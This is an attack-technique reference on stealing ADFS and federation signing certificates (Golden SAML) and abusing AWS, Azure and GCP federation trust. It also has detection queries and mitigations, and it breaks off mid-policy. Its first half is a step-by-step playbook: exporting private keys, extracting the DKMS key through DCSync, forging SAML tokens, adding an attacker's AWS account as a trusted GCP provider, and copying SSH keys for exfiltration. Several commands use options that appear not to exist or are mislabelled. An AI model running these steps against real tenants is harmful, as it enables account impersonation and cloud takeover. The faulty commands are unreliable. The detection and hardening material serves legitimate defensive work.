| Property | Value |
|---|---|
| SERVTEP ID | CA-UNSC-020 |
| Technique Title | Multi-Cloud Federation Certificate Theft |
| MITRE ATT&CK ID | T1552.004 - Unsecured Credentials: Private Keys |
| CVE Reference | N/A (Configuration-based, not CVE) |
| Platforms | AWS, Azure (Entra ID/ADFS), GCP, Multi-Cloud Environments |
| Required Access Level | Administrator / Service Account Access to IdP |
| Attack Category | Credential Access (TA0006) |
| Technique Viability | ACTIVE - Widely exploited in multi-cloud deployments (SolarWinds, APT29) |
| Kill Chain Phase | Credential Access → Lateral Movement → Persistence |
| First Reported | CyberArk (2017) - Golden SAML; APT29/SolarWinds (2020) |
| Related Techniques | T1606.002 (Forge SAML Response), T1550.001 (Token Impersonation), T1098 (Account Manipulation) |
| Author | SERVTEP – Artur Pchelnikau |
CA-UNSC-020 describes the theft of cryptographic certificates and private keys used in multi-cloud federation infrastructures, enabling attackers to forge authentication tokens and impersonate any user across federated cloud services without additional credentials or MFA. This technique leverages misconfigurations in trust relationships between cloud identity providers (AWS IAM, Azure Entra ID, GCP Workload Identity) and compromises the signing certificates that authenticate users to cloud resources.
Impact Severity: CRITICAL
Threat Actor Profile:
# Identify ADFS servers in the environment
$searcher = [System.DirectoryServices.DirectorySearcher]::new()
$searcher.Filter = "(|(servicePrincipalName=host/sts.*))"
$searcher.FindAll() | Select-Object Path
# Alternative: Query DNS for ADFS endpoints
nslookup sts.contoso.com
nslookup adfs.contoso.com
# Check AD for ADFS objects
Get-ADObject -Filter 'Name -like "ADFS*"' -Properties *
# Connect to Azure AD
Connect-MgGraph -Scopes "Organization.Read.All"
# List federated domains
Get-MgOrganization | Select-Object Id, DisplayName
# Check for external identity providers
Get-MgIdentityProvider
# List configured app registrations with federation
Get-MgApplication | Where-Object {$_.TokenEncryptionKeyId}
# List workload identity pools in GCP project
gcloud iam workload-identity-pools list --location=global
# Enumerate identity pool providers
gcloud iam workload-identity-pools providers list \
--location=global \
--workload-identity-pool=POOL_ID
# Check service accounts with WIF bindings
gcloud iam service-accounts get-iam-policy SA_EMAIL
# List SAML providers in AWS
aws iam list-saml-providers
# Get SAML provider metadata
aws iam get-saml-provider --saml-provider-arn <ARN>
# Check IAM Roles Anywhere trust anchors
aws rolesanywhere list-trust-anchors
# Enumerate federated users/roles
aws iam list-role-tags --role-name FederatedRole
# Find ADFS service account
Get-ADServiceAccount -Filter 'Name -like "*ADFS*"'
# Check ADFS service startup account
wmic service where name="adfssrv" get startname
# Identify accounts with permissions to DKMS
Get-ADObject -Filter 'Name -eq "DKMS"' -Properties ntSecurityDescriptor |
Select-Object -ExpandProperty ntSecurityDescriptor
# List all certificates in ADFS certificate store
Get-AdfsCertificate | Select-Object CertificateHash, Thumbprint, Subject
# Enumerate federation trust relationships
Get-AdfsRelyingPartyTrust | Select-Object Identifier, SamlMetadataAddress
# Check for secondary/rollover certificates
Get-AdfsCertificate -CertificateType Token-Decryption
# Find ADFS SPNs
Get-ADObject -Filter 'servicePrincipalName -like "*sts*"' |
Select-Object -ExpandProperty servicePrincipalName
Attack Flow:
# Execute on ADFS server with admin privileges
# Option A: If you have admin access via RDP/PSRemoting
# Option B: If you have compromised service account, use Runas
runas /user:CONTOSO\AdfsServiceAccount powershell.exe
# Option C: If you have DA credentials, use UAC bypass + privilege escalation
# (Requires running as DA first)
Method A: Using AADInternals PowerShell Module
# Install AADInternals
Install-Module -Name AADInternals -Force
# Import the module
Import-Module AADInternals -Force
# Export ADFS token signing and encryption certificates
Export-AADIntADFSCertificates
# Certificates will be exported as:
# - ADFS_signing.pfx
# - ADFS_encryption.pfx
# View exported certificates
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
# Extract certificate details
$cert = Get-PfxData -FilePath ".\ADFS_signing.pfx"
$cert.OtherCertificates
Method B: Using CertUtil (Native Windows)
# List certificates in ADFS store
certutil -store My
# Export by thumbprint
certutil.exe -exportPFX -p Password123! <Thumbprint> C:\Temp\adfs_cert.pfx
# If using Hardware Security Module (HSM), export with HSM pin
certutil -exportPFX -p Password123! -enterprise <Thumbprint> output.pfx
Method C: Using Mimikatz
# Extract certificates from Windows certificate store
mimikatz # crypto::certificates /systemstore:local_machine /store:my /export
# Output location: .pfx files in current directory
# Mimikatz will export all certificates including ADFS token-signing cert
Method D: Querying AD for Certificates (If Domain Joined)
# Retrieve ADFS configuration from Active Directory
# The configuration is stored in CN=ADFS,CN=Services,CN=Configuration
$DN = "CN=ADFS,CN=Services,CN=Configuration,DC=contoso,DC=com"
Get-ADObject -Identity $DN -Properties * | Select-Object *
# Export AD-stored certificates
certutil -store AD <Thumbprint>
The DKMS stores the encrypted private key. To decrypt it, you need the DKMS password or DK password.
Method A: Using AADInternals (Automated)
# AADInternals automatically handles DKMS decryption
# If running on ADFS server with appropriate permissions
# Get DKMS configuration
Get-AADIntADFSConfiguration | Select-Object DKMSSettings
# Export with automatic decryption
Export-AADIntADFSCertificates -IncludePrivateKeys $true
# Result: Exportable .pfx files with private keys
Method B: Remote DKMS Extraction (Requires Domain Admin)
# Step 1: Get ADFS service account NT hash via DCSync
Import-Module AADInternals
$ADFSAccount = Get-ADServiceAccount -Filter 'Name -like "*ADFS*"'
$NTHash = Get-AADIntADUserNTHash -ObjectGuid $ADFSAccount.ObjectGuid -Credentials $DomainAdminCreds
# Step 2: Export ADFS configuration using the hash
$ADFSConfig = Export-AADIntADFSConfiguration -Hash $NTHash -SID $ADFSAccount.Objectsid.Value
# Step 3: Extract DKMS decryption key from AD
$Configuration = [xml]$ADFSConfig
$group = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.Group
$container = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName
$base = "LDAP://CN=$group,$container"
# Query AD for CryptoPolicy object
$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new($base))
$ADSearch.Filter = '(name=CryptoPolicy)'
$ADSearch.PropertiesToLoad.Add("displayName")
$aduser = $ADSearch.FindOne()
$keyObjectGuid = $ADUser.Properties["displayName"][0]
# Retrieve encryption key from thumbnail photo
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("thumbnailphoto")
$ADSearch.Filter = "(l=$keyObjectGuid)"
$aduser = $ADSearch.FindOne()
$decryptionKey = [byte[]]$aduser.Properties["thumbnailphoto"][0]
# Step 4: Decrypt and export certificates
Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $decryptionKey
Method C: Using ADFSDump (Third-Party Tool)
# Download ADFSDump from https://github.com/fireeye/ADFSDump
# Run on ADFS server with admin/service account privileges
.\ADFSDump.exe
# Output:
# - ADFS_encryption.pfx
# - ADFS_signing.pfx
# - Decrypted private keys
# - Relying Party (RP) configuration details
Using AADInternals:
# Convert exported certificate to format usable for token signing
$pfxPath = ".\ADFS_signing.pfx"
$pfxPassword = ""
# Create SAML assertion
$samlAssertion = Get-AADIntADFSSAMLAssertion -Certificate (Get-PfxData -FilePath $pfxPath).EndEntityCertificates[0] `
-Subject "testuser@contoso.com" `
-Audience "urn:amazon:webservices" `
-Issuer "http://sts.contoso.com/adfs/services/trust" `
-NameIDFormat "urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress"
Write-Host "Forged SAML Assertion:" $samlAssertion
Using ADFSpoof (Mandiant Tool):
# Download from Mandiant: https://github.com/mandiant/ADFSpoof
# Create WS-FED response
.\ADFSpoof.exe --assertionfile federation_assertion.xml `
--outputfile ws_fed_response.xml `
--pfxfile ADFS_signing.pfx `
--pfxpassword "" `
--signingalgorithm RS256
# The generated SAML response can then be used to authenticate to:
# - Microsoft 365 / Office 365
# - AWS (if SAML provider configured)
# - Salesforce, ServiceNow, or any SAML service provider
Using BurpSuite to Intercept and Replay:
1. Capture SAML authentication request in BurpSuite
2. Replace AuthnRequest with forged SAML response from ADFSpoof
3. Modify assertion to target desired user and service
4. Relay response to application
5. Result: Authenticated as target user without credentials
Authenticate to AWS via SAML:
# Using aws-vault or similar SAML-to-STS bridge
aws-vault exec --assume-role-ttl 1h sts get-caller-identity \
--saml-assertion $(cat forged_saml.xml)
# Or use boto3 with SAML assertion
aws sts assume-role-with-saml \
--role-arn arn:aws:iam::123456789012:role/FederatedRole \
--principal-arn arn:aws:iam::123456789012:saml-provider/ADFS \
--saml-assertion "$(cat forged_saml_response.txt)"
Authenticate to Azure / Office 365:
# Use generated token to authenticate to Microsoft 365
# The forged token appears legitimate to O365 as it's signed by trusted ADFS
# Access Exchange Online as compromised user
$cred = Get-AuthToken -SAMLAssertion $forgedToken
$session = New-ExchangeOnlineSession -Credential $cred
Attack Prerequisites:
iam.workloadIdentityPoolProviders.update)# Step 1: Discover WIF pools and providers
gcloud iam workload-identity-pools list --location=global --project=TARGET_PROJECT
gcloud iam workload-identity-pools describe POOL_ID \
--location=global \
--project=TARGET_PROJECT
# Step 2: Get provider configuration
gcloud iam workload-identity-pools providers describe PROVIDER_ID \
--workload-identity-pool=POOL_ID \
--location=global \
--project=TARGET_PROJECT
Attack Scenario 1: Compromise AWS Account in WIF Provider
# If WIF is configured to federate AWS account 123456789012
# And attacker has compromised that AWS account
# Create credentials file to exchange AWS credentials for GCP token
cat > credentials.json <<EOF
{
"type": "external_account",
"audience": "//iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/providers/aws-provider",
"subject_token_type": "urn:ietf:params:aws:token-type:aws4_request",
"service_account_impersonation_url": "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/VICTIM_SA@PROJECT_ID.iam.gserviceaccount.com:generateAccessToken",
"token_url": "https://sts.googleapis.com/v1/token",
"credential_source": {
"environment_id": "aws1",
"region_url": "http://169.254.169.254/latest/meta-data/placement/availability-zone",
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials",
"regional_cred_verification_url": "https://sts.{region}.amazonaws.com?Action=GetCallerIdentity&Version=2011-06-15"
}
}
EOF
# Step 3: Exchange AWS credentials for GCP service account token
export GOOGLE_APPLICATION_CREDENTIALS=credentials.json
gcloud auth application-default login
# Step 4: Access GCP resources as impersonated service account
gsutil ls gs://sensitive-bucket/
gcloud compute instances list --zone=us-central1-a
Attack Scenario 2: Exploit Provider Update Permission
# If attacker has iam.workloadIdentityPoolProviders.update permission
# Step 1: Create new malicious AWS provider linked to attacker's account
gcloud iam workload-identity-pools providers create-aws new-provider \
--location=global \
--workload-identity-pool=POOL_ID \
--project=TARGET_PROJECT \
--account-id=ATTACKER_AWS_ACCOUNT \
--attribute-mapping="aws:account_id=account_id,aws:arn=arn,aws:username=assumed_role_name"
# Step 2: Service account now trusts attacker's AWS account
# Attacker can now assume victim's service account from their own AWS environment
# In attacker's AWS environment:
aws sts assume-role \
--role-arn arn:aws:iam::ATTACKER_ACCOUNT:role/GCP-Federation-Role
Attack Prerequisites:
# Step 1: Enroll server authentication certificate from ADCS
# (Requires ADCS template exploitation or misconfig)
# Request certificate matching login.microsoftonline.com
certreq -new request.inf cert.cer
# Step 2: Set up HTTPS listener on attacker box
# serving malicious login.microsoftonline.com endpoint
# Step 3: Redirect Azure AD Connect traffic via:
# - DNS spoofing
# - ARP spoofing
# - DHCP option 252 (Web Proxy Auto-Discovery)
# Step 4: Intercept sync service credentials
# When Azure AD Connect attempts to sync, it sends credentials in cleartext
# (if HTTPS inspection enabled with trusted cert)
# Step 5: Extract AAD Connector password
$connectorPassword = $intercepted_credentials.password
# Step 6: Use connector password to authenticate to Azure AD
Connect-MgGraph -ClientId "AADConnectorId" -Credential $connectorPassword
Attack Prerequisites:
# Step 1: Locate trust anchor certificate in workload
find / -name "*.pem" -o -name "*.crt" -o -name "*.p12" 2>/dev/null |
xargs grep -l "CERTIFICATE"
# Typical locations:
# /opt/workload/certs/
# /etc/ssl/certs/
# ~/.ssh/
# Step 2: Extract certificate and private key
openssl pkcs12 -in workload_cert.p12 -out extracted_cert.pem -nodes
# Step 3: Use certificate to authenticate to AWS
# AWS SDK automatically picks up certificate from environment
export AWS_ROLE_ARN="arn:aws:iam::ACCOUNT:role/Workload-Role"
export AWS_CERTIFICATE_ARN="arn:aws:rolesanywhere:region:ACCOUNT:certificate/CERT_ID"
# Step 4: Assume role using certificate
aws sts assume-role \
--role-arn arn:aws:iam::ACCOUNT:role/Workload-Role \
--role-session-name attacker-session \
--certificate extracted_cert.pem
| Tool | Purpose | Command | Platform |
|---|---|---|---|
| Mimikatz | Certificate extraction from Windows store | crypto::certificates /systemstore:local_machine /export |
Windows |
| AADInternals | ADFS certificate export & SAML forging | Export-AADIntADFSCertificates |
Windows PowerShell |
| ADFSDump | Remote DKMS key extraction | ADFSDump.exe (requires admin) |
Windows |
| ADFSpoof | Forge SAML/WS-FED responses | ADFSpoof.exe --assertionfile ... |
Windows |
| CertUtil | Windows native certificate management | certutil -exportPFX |
Windows |
| gcloud | GCP workload identity federation enumeration | gcloud iam workload-identity-pools list |
Cross-platform |
| aws-cli | AWS SAML provider and STS operations | aws iam list-saml-providers |
Cross-platform |
| aws-vault | SAML assertion handling for AWS | aws-vault exec --assume-role ... |
Cross-platform |
| Azure CLI | Entra ID federation configuration | az ad app list --query "[].id" |
Cross-platform |
| Python Boto3 | AWS API interaction with SAML | sts.assume_role_with_saml() |
Cross-platform |
Platforms: Windows, Linux, macOS
# Windows: Enumerate certificates in system store
Get-ChildItem Cert:\LocalMachine\My | Select-Object Thumbprint, Subject, Issuer
# Linux: Find SSH keys
find ~/.ssh -type f -name "id_*" 2>/dev/null
# macOS: Dump Keychain certificates
security find-certificate -a -c ADFS ~/Library/Keychains/login.keychain-db
Expected Artifacts:
Platforms: Windows (ADFS Server)
# Requires: Administrator access on ADFS server
# Method A: PowerShell certificate export
$cert = Get-Item -Path "Cert:\LocalMachine\My\THUMBPRINT"
$pfxPath = "C:\Temp\exported.pfx"
Export-PfxCertificate -Cert $cert -FilePath $pfxPath -Password $pwd
# Method B: CertUtil export
certutil -exportPFX -p "password123" THUMBPRINT "C:\Temp\cert.pfx"
# Verify export
Get-PfxData -FilePath "C:\Temp\cert.pfx" | Select-Object -ExpandProperty EndEntityCertificates
MITRE ATT&CK Mapping:
Platforms: Linux, macOS
# Find common private key file extensions
find / -type f \( -name "*.key" -o -name "*.pem" -o -name "*.pgp" \
-o -name "*.gpg" -o -name "*.ppk" -o -name "*.p12" \) 2>/dev/null
# Search specific directories
find ~/.ssh -type f -readable 2>/dev/null
find ~/.gnupg -type f -readable 2>/dev/null
find /etc/ssl -type f -name "*key*" 2>/dev/null
# Copy discovered keys
mkdir /tmp/exfil
find ~/.ssh -name id_rsa -exec cp {} /tmp/exfil \;
Expected Output:
Platforms: Windows
# Extract certificates from certificate store
mimikatz.exe "crypto::certificates /systemstore:local_machine /store:my /export" exit
# Output location: current directory with format <subject_CN>.pfx
# Can filter for federation certificates
dir | findstr /i "ADFS|federation|signing"
Platforms: Linux, macOS, Windows
# Step 1: Create external account credentials file
cat > gcp_creds.json <<EOF
{
"type": "external_account",
"audience": "//iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/providers/aws",
"subject_token_type": "urn:ietf:params:aws:token-type:aws4_request",
"service_account_impersonation_url": "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/SA@PROJECT.iam.gserviceaccount.com:generateAccessToken",
"token_url": "https://sts.googleapis.com/v1/token",
"credential_source": {
"environment_id": "aws1",
"region_url": "http://169.254.169.254/latest/meta-data/placement/availability-zone",
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials"
}
}
EOF
# Step 2: Exchange for GCP token
export GOOGLE_APPLICATION_CREDENTIALS=gcp_creds.json
gcloud auth application-default print-access-token
Data Source: Windows Event Logs (Security, CertificateServicesClient-Lifecycle)
sourcetype="WinEventLog:Microsoft-Windows-CertificateServicesClient-Lifecycle-System"
EventID=1007
| search CertificateMetaData="*ADFS*" OR Subject="*sts.*"
| stats count by Computer, User, CertificateName, EventID
| where count > 0
Alternative (PowerShell Script Block Logging):
sourcetype="WinEventLog:PowerShell" EventID=4103
(ScriptBlockText="*Export-PfxCertificate*" OR
ScriptBlockText="*certutil*-exportPFX*" OR
ScriptBlockText="*Export-AADIntADFSCertificates*")
| stats count, values(User), values(Computer) by ScriptBlockText
| alert
False Positives:
Tuning:
sourcetype="PowerShell" EventID=4103 ScriptBlockText="*exportPFX*"
| where NOT (User IN ("svc_adfs*", "backup_account*"))
| where NOT (Computer IN ("cert-mgmt*"))
Data Sources: Security Event ID 4662 (Directory Service Object Access)
sourcetype="WinEventLog:Security" EventID=4662
ObjectName="*DKMS*"
(AccessMask=256 OR AccessMask=4098) // QueryValue / QuerySecurityDescriptor
| stats count, values(SubjectUserName), values(Computer) by ObjectName, AccessMask
| search count > 3 // Anomalous repeated access
Alert Condition:
| where NOT (SubjectUserName="ADFS_SERVICE_ACCOUNT")
| alert priority=high
Data Source: ADFS Operational Logs
sourcetype="ADFS" EventID=501 // Successful federation login
| stats count, values(ClientIP), values(UserPrincipalName) by DeviceId
| search NOT (DeviceId IN ("expected_device_ids"))
| append [
search sourcetype="ADFS" EventID=100 // Token generation
| stats count by UserPrincipalName
]
| where (count_from_501 > 0 AND count_from_100 = 0) // Token used but not generated
Data Source: GCP Cloud Audit Logs
source="gcp:audit" logName="*iam.googleapis.com*"
methodName="*workloadIdentityPoolProviders*"
(methodName="*.create" OR methodName="*.update")
| stats count, values(protoPayload.authenticationInfo.principalEmail)
by protoPayload.methodName, protoPayload.resourceName
| where count > 1 // Multiple changes indicate anomaly
Data Source: AWS CloudTrail
source="aws_cloudtrail" eventName IN ("CreateSAMLProvider", "UpdateSAMLProvider", "DeleteSAMLProvider")
| stats count, values(awsRegion), values(sourceIPAddress) by eventName, userIdentity.principalId
| search count > 2 OR sourceIPAddress NOT IN ("office_IPs*")
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID in (4688, 4103) // Process Creation or PowerShell Script Block
| where CommandLine contains "certutil" and CommandLine contains "exportPFX"
or ScriptBlockText contains "Export-PfxCertificate"
or ScriptBlockText contains "Export-AADIntADFSCertificates"
| where SubjectUserName != "SYSTEM" and SubjectUserName != "ADFS_SERVICE_ACCOUNT"
| project TimeGenerated, Computer, SubjectUserName, CommandLine, ScriptBlockText
| summarize count() by Computer, SubjectUserName
| where count_ > 0
What This Detects:
Manual Configuration Steps (Azure Portal):
ADFS Certificate Export AttemptCritical5 minutes1 hourManual Configuration Steps (PowerShell):
# Connect to Sentinel
Connect-AzAccount
$ResourceGroup = "SecurityResourceGroup"
$WorkspaceName = "SentinelWorkspace"
# Define the KQL query
$query = @"
SecurityEvent
| where EventID in (4688, 4103)
| where CommandLine contains "certutil" and CommandLine contains "exportPFX"
or ScriptBlockText contains "Export-PfxCertificate"
| where SubjectUserName != "SYSTEM"
| project TimeGenerated, Computer, SubjectUserName, CommandLine
| summarize count() by Computer, SubjectUserName
"@
# Create the alert rule
$alertRuleParams = @{
ResourceGroupName = $ResourceGroup
WorkspaceName = $WorkspaceName
DisplayName = "ADFS Certificate Export Attempt"
Description = "Detects attempts to export ADFS signing certificates"
Query = $query
Severity = "Critical"
Frequency = "PT5M"
Period = "PT1H"
Enabled = $true
}
New-AzSentinelAlertRule @alertRuleParams
Reference: Microsoft Sentinel Query Language (KQL) Docs
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4662 // Directory Service Object Access
| where ObjectName contains "DKMS" and ObjectName contains "PrivateKey"
| where AccessMask in (256, 4098) // QueryValue, SetValue
| where NOT (SubjectUserName contains "ADFS_" or SubjectUserName == "SYSTEM")
| project TimeGenerated, Computer, SubjectUserName, ObjectName, AccessMask
| summarize AccessCount=count() by Computer, SubjectUserName, ObjectName
| where AccessCount > 1
Rule Configuration:
KQL Query:
// Find SAML-based logins to cloud apps
SigninLogs
| where AuthenticationProtocol == "SAML"
| project TimeGenerated, UserPrincipalName, ClientAppUsed, AppDisplayName, IPAddress
| join kind=leftanti (
SecurityEvent
| where EventID in (4769, 4768) // Kerberos Service/TGT request
| project TimeGenerated, UserPrincipalName = TargetUserName
) on UserPrincipalName
| where TimeGenerated > ago(1h)
| summarize SAMLLoginCount=count() by UserPrincipalName, AppDisplayName, IPAddress
| where SAMLLoginCount > 0
Alert Condition: SAML login without corresponding on-premises Kerberos event = potential Golden SAML
Rule Configuration:
KQL Query:
AzureActivity
| where OperationNameValue contains "workloadIdentityPool"
| where OperationNameValue in ("Create workload identity pool", "Update workload identity pool provider")
| where ActivityStatusValue == "Succeeded"
| where NOT (Caller in ("authorized_admin_emails*"))
| project TimeGenerated, Caller, OperationNameValue, ResourceProviderValue
| summarize count() by Caller, OperationNameValue
| where count_ > 1
Event ID: 1007 (Certificate Services Client – Lifecycle Event)
Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Local Policy):
# Enable Certificate Services Client lifecycle event logging
auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable
# Verify
auditpol /get /category:* | grep -i "certification"
# View logs
Get-WinEvent -LogName "Microsoft-Windows-CertificateServicesClient-Lifecycle-System/Operational" -MaxEvents 10
Event ID: 4769 (Kerberos Service Ticket Requested)
Detection Strategy:
Correlated Events:
1. Event 4769 (Kerberos TGT/Service ticket) on DC
2. ADFS Event 501 (Federation login) on ADFS server
GOLDEN SAML = Event 501 WITHOUT Event 4769
Event ID: 4657 (Registry Value Modification)
Manual Configuration:
# Enable Registry Audit on ADFS DKMS key
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
# Set ACL audit on specific registry key
$registryPath = "HKLM:\System\CurrentControlSet\Services\ADFS\Config"
$acl = Get-Acl -Path $registryPath
$rule = New-Object System.Security.AccessControl.RegistryAuditRule(
"Everyone",
"QueryValues",
"ContainerInherit,ObjectInherit",
"None",
"Success"
)
$acl.AddAuditRule($rule)
Set-Acl -Path $registryPath -AclObject $acl
Event ID: 4103 (Module Logging), 4104 (Script Block Logging)
Manual Configuration:
# Enable PowerShell Script Block Logging via GPO
# Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell
# → Set "Turn on PowerShell Script Block Logging" to "Enabled"
# Or via Registry
$regPath = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
New-Item -Path $regPath -Force | Out-Null
New-ItemProperty -Path $regPath -Name "EnableScriptBlockLogging" -Value 1 -Force
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows (ADFS Server, Domain Controllers)
Sysmon Configuration Snippet:
<!-- Detect CertUtil certificate export -->
<Sysmon schemaversion="4.30">
<EventFiltering>
<!-- File Create: .pfx files being written -->
<FileCreate onmatch="include">
<TargetFilename condition="contains any">
.pfx;.p12;.p7b;.cer;.crt
</TargetFilename>
</FileCreate>
<!-- Process Creation: CertUtil with exportPFX -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains any">
certutil -exportPFX;
Export-PfxCertificate;
Export-AADIntADFSCertificates;
crypto pki export
</CommandLine>
</ProcessCreate>
<!-- Image Load: Loading AADInternals or ADFS-related DLLs -->
<ImageLoad onmatch="include">
<ImageLoaded condition="contains any">
AADInternals.dll;
Microsoft.IdentityModel.dll;
System.IdentityModel.Tokens.dll
</ImageLoaded>
</ImageLoad>
<!-- Named Pipe: DKMS SQL queries (ADFSDump detection) -->
<PipeEvent onmatch="include">
<PipeName condition="contains">
\\microsoft##wid\\tsql\\query
</PipeName>
<Image condition="excludes">
sqlservr.exe;
servicetier.exe
</Image>
</PipeEvent>
<!-- Network Connection: To AWS/Azure federation endpoints -->
<NetworkConnect onmatch="include">
<DestinationHostname condition="contains any">
sts.amazonaws.com;
login.microsoftonline.com;
accounts.google.com
</DestinationHostname>
</NetworkConnect>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Alert Name: “Suspicious certificate export from identity service”
Manual Configuration Steps (Enable Defender for Cloud):
Alert Trigger Conditions:
Alert Name: “Potential workload identity federation abuse”
# Connect to Purview
Connect-ExchangeOnline
# Search for certificate-related operations
Search-UnifiedAuditLog -Operations "Add-ADFSCertificate", "Remove-ADFSCertificate", "Set-ADFSCertificate" `
-StartDate (Get-Date).AddDays(-30) `
-EndDate (Get-Date)
# Parse audit data
Search-UnifiedAuditLog -Operations "*Certificate*" `
-StartDate (Get-Date).AddDays(-7) |
ForEach-Object {
$auditData = $_.AuditData | ConvertFrom-Json
[PSCustomObject]@{
TimeStamp = $auditData.CreationTime
Operation = $auditData.Operation
User = $auditData.UserId
Details = $auditData.ExtendedProperties
}
}
Manual Configuration Steps (Enable Unified Audit Log):
Manual Configuration Steps (Search Audit Logs):
Add-ADFSCertificateRemove-ADFSCertificateAdd-AzureADMSApplicationVerifiedPublisherUpdate-AzureADMSApplicationOwnerPowerShell Alternative:
$startDate = (Get-Date).AddDays(-30)
$endDate = Get-Date
$auditResults = Search-UnifiedAuditLog -StartDate $startDate -EndDate $endDate `
-Operations "*Certificate*" -ResultSize 5000
$auditResults | Export-Csv -Path "C:\Audit\CertificateChanges.csv" -NoTypeInformation
Objective: Prevent private key export even if admin access is compromised
Applies To: Windows Server 2016+, ADFS 3.0+
Manual Steps (Azure Key Vault with HSM):
# Install Azure Key Vault PowerShell module
Install-Module -Name Az.KeyVault
# Configure ADFS to use HSM-backed key
$vaultName = "MyKeyVault"
$keyName = "ADFS-TokenSigningKey"
$resourceGroup = "SecurityResourceGroup"
# Create the key in HSM
$key = Add-AzKeyVaultKey -VaultName $vaultName -Name $keyName `
-Destination HSM -Size 4096
# Export certificate for federation metadata
$cert = Get-AzKeyVaultSecret -VaultName $vaultName -Name $keyName
Export-PfxCertificate -Cert $cert -FilePath "C:\Temp\ADFS-PublicCert.cer"
Manual Steps (Windows/PowerShell on-premises HSM):
# Grant ADFS service account access to HSM
# (Vendor-specific, consult HSM documentation)
# Verify ADFS uses HSM key
Get-AdfsCertificate | Select-Object Thumbprint, CertificateType, CertificateStore
# Should show: CertificateStore = "HSM"
Objective: Limit who can access the DKMS private key to only ADFS service account
Applies To: Windows Server 2016+
Manual Steps (Group Policy):
C:\ProgramData\Microsoft\Windows\Hyper-V\Identitygpupdate /forceManual Steps (PowerShell):
# Get ADFS service account
$adfsAccount = Get-ADServiceAccount -Filter 'Name -like "*ADFS*'
$accountName = $adfsAccount.Name
# Set registry ACL for DKMS
$regPath = "HKLM:\Software\Microsoft\ADFS"
$acl = Get-Acl -Path $regPath
# Remove all permissions except SYSTEM and ADFS service account
$acl.Access | Where-Object {$_.IdentityReference -notmatch ($accountName + "|SYSTEM")} |
ForEach-Object { $acl.RemoveAccessRule($_) }
Set-Acl -Path $regPath -AclObject $acl
# Verify
Get-Acl -Path $regPath | Select-Object -ExpandProperty Access
Objective: Prevent use of cloned certificates by locking public key pins
Applies To: AWS, Azure, Salesforce, any SAML service provider
Manual Steps (AWS SAML Provider Certificate Pinning):
# Step 1: Extract certificate from ADFS federation metadata
curl -s "https://sts.contoso.com/adfs/fs/federationmetadata/2007-06/federationmetadata.xml" | \
grep -oP '<KeyDescriptor use="signing".*?</KeyDescriptor>' | \
sed 's/.*<X509Certificate>\(.*\)<\/X509Certificate>.*/\1/' | \
base64 -d > adfs_cert.der
# Step 2: Generate certificate fingerprint (Subject Public Key Info)
openssl x509 -in adfs_cert.der -inform DER -pubkey -noout | \
openssl pkey -pubin -outform DER | openssl dgst -sha256 -binary | \
openssl enc -base64
# Step 3: Store fingerprint in AWS SAML provider configuration
aws iam update-saml-provider \
--saml-metadata-document file://metadata.xml \
--saml-provider-arn arn:aws:iam::123456789012:saml-provider/contoso-adfs
Pinning Verification:
# Verify certificate matches pinned key before accepting SAML response
openssl x509 -in response_cert.pem -pubkey -noout | \
openssl pkey -pubin -outform DER | openssl dgst -sha256 -binary | \
openssl enc -base64 | grep -F "PINNED_KEY_HASH"
Objective: Force use of modern SAML 2.0, OIDC; disable WS-FED if possible
Applies To: ADFS, Entra ID, AWS
Manual Steps (ADFS):
# Disable WS-FED (legacy protocol)
Set-AdfsProperties -WsFedPassiveEndpointEnabled $false
# Require SAML 2.0
Set-AdfsProperties -RequireCertificateForEncryption $true
# Enforce token encryption
Get-AdfsRelyingPartyTrust | Set-AdfsRelyingPartyTrust -EncryptionRequired $true
# Verify changes
Get-AdfsProperties | Select-Object WsFedPassiveEndpointEnabled, EncryptTokens
Manual Steps (Azure/Entra ID):
Objective: Regularly rotate federation certificates to limit exposure window
Applies To: ADFS (all versions), Azure AD Connect, AWS SAML
Manual Steps (ADFS Automatic Certificate Rollover):
# Enable automatic certificate promotion (default is 5 days)
Set-ADFSProperties -CertificatePromotionThreshold 10
# Create secondary certificate
Add-AdfsCertificate -CertificateType Token-Signing -Thumbprint "NEW_CERT_THUMBPRINT"
# Verify certificates
Get-AdfsCertificate | Select-Object CertificateType, Thumbprint, IsPrimary
# After 10 days, secondary becomes primary automatically
# Download updated federation metadata to relying parties
$federationMetadata = Get-AdfsProperties | Select-Object FederationMetadataLocation
Manual Steps (Azure AD Connect - Manual Rotation):
# If certificate expiring soon, enroll new certificate from ADCS
# on Azure AD Connect server
# Request new certificate with subject matching old certificate
certreq -new request.inf azureadconnect.cer
# Update Azure AD with new certificate
# In Azure Portal → Entra ID → Hybrid identity → Azure AD Connect
# Upload new certificate in federation settings
# Verify new certificate active
Get-MgOrganization | Select-Object id, DisplayName
Objective: Restrict who can modify federation settings and when
Applies To: Azure AD, AWS IAM
Manual Steps (Entra ID Conditional Access):
Restrict Federation Configuration ChangesManual Steps (AWS IAM Policy for Federation):
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyFederationChangesOutsideBusinessHours",
